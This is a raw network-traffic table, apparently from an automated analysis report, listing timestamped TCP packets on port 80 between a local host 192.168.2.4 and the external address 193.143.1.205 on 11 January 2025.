Jan 11, 2025 01:13:37.133990049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.134006977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.134018898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.134028912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.134038925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.134048939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.134125948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.152959108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.152983904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153001070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153012037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153023005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153033018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153073072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.153100014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153110981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153120995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153168917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.153198004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.153249025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153261900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.153302908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.167608976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.167625904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.167637110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.167648077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.167679071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.167701960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.167767048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.167845964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.167994976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168009043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168031931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168042898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168057919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168071985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.168072939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168083906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168092012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.168109894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168122053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168131113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168140888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168158054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168169022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168180943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.168240070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.168314934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168427944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168443918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168456078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168467045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168477058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.168482065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168487072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168497086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168507099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168515921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.168565035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.168775082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168786049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168796062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.168823957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.168849945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.169028044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169055939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169068098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169080019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169094086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169101954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.169106007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169117928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169127941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169131041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.169140100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169150114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169159889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169171095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169178963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.169182062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169193029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169210911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.169240952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.169650078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169661999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169672012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169683933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169693947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169703960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169704914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.169714928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169725895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169737101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.169742107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.169784069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.171276093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.172584057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172621965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172632933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172665119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172671080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.172676086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172686100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172697067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172698975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.172740936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.172879934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172899008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172909975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172919989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172935009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172950029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172952890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.172961950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172972918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.172979116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.173001051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.173021078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.173079014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173183918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173194885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173218012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173233986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173244953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173248053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.173255920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173265934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173273087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.173280001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173307896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.173602104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173613071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173624039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173634052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173645973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.173654079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.173685074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.173695087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.209391117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209418058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209429026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209440947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209454060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209481001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209494114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209505081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209513903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209517002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.209537029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209554911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209577084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209579945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.209588051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209599018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209604979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.209626913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.209646940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.209671021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.222891092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.222910881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.222922087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.222934008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.222944975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.222955942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.222966909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.222979069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.223022938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.223083973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.241727114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241789103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241801023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241811991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241822004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241832018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241858006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241862059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.241874933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241884947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241897106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241919041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241919041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.241935968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241946936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241956949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241966963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.241972923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.242036104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256412029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256429911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256441116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256454945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256485939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256496906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256509066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256531000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256547928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256551027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256560087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256570101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256581068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256592035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256603956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256614923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256685972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256690025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256699085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256743908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256781101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256792068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256819963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256829977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256838083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256839037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256850958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256860971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256871939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256871939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256881952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256894112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256897926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256939888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.256939888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256951094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256963015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256973028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.256983995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257009983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257009983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257050991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257064104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257065058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257083893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257098913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257108927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257119894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257129908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257132053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257157087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257189989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257302999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257313967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257323980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257333994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257344961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257350922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257355928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257368088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257385969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257394075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257405043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257414103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257421970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257447958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257462978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257466078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257477045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257509947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257518053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257520914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257530928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257560015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257589102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257677078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257687092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257697105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257707119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257718086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257721901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257728100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257739067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257750034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257766008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257795095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257802963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257863045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257874012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257884979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257894993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.257906914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.257930040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.261181116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.266345978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274184942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274261951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274292946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274307013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274369955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274410963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274444103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274473906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274493933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274504900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274533987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274549961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274563074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274591923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274621964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274637938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274651051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274676085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274681091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274710894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274724960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274740934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274770021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274784088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.274801016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.274843931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.298209906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298317909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298373938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.298387051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298420906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298455000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298466921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.298489094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298521996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298536062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.298554897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298588037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298595905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.298616886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298651934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298662901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.298685074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298717976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298727036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.298751116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298784971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298794985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.298839092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.298883915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.311520100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.311532021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.311547041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.311568975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.311578035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.311589003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.311600924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.311613083 CET	80	49730	193.143.1.205	192.168.2.4
